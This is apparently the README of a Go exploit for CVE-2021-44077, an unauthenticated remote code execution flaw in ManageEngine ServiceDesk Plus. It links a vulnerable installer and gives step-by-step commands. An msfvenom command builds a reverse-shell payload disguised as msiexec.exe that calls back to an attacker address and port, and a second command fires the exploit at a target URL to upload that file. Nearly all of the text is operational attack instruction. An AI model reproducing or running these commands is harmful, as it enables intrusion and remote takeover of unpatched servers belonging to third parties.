This exploit is an unauthenticated RCE in Zoho ManageEngine ServiceDesk Plus < 11306.
You can find a vulnerable version of the software here: http://archives.manageengine.com/service-desk/11303/ManageEngine_ServiceDesk_Plus_64bit.exe
I couldn't find a Golang version of this, so here it is. My code isn't great, so proceed at your own risk.
Blog post:
Create a malicious payload in your current directory.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > msiexec.exe
Then, run the exploit.
go run CVE-2021-44077.go -u "http://192.168.1.3:8080/" -f "/msiexec.exe"
-u is the vulnerable URL -f is your malicious file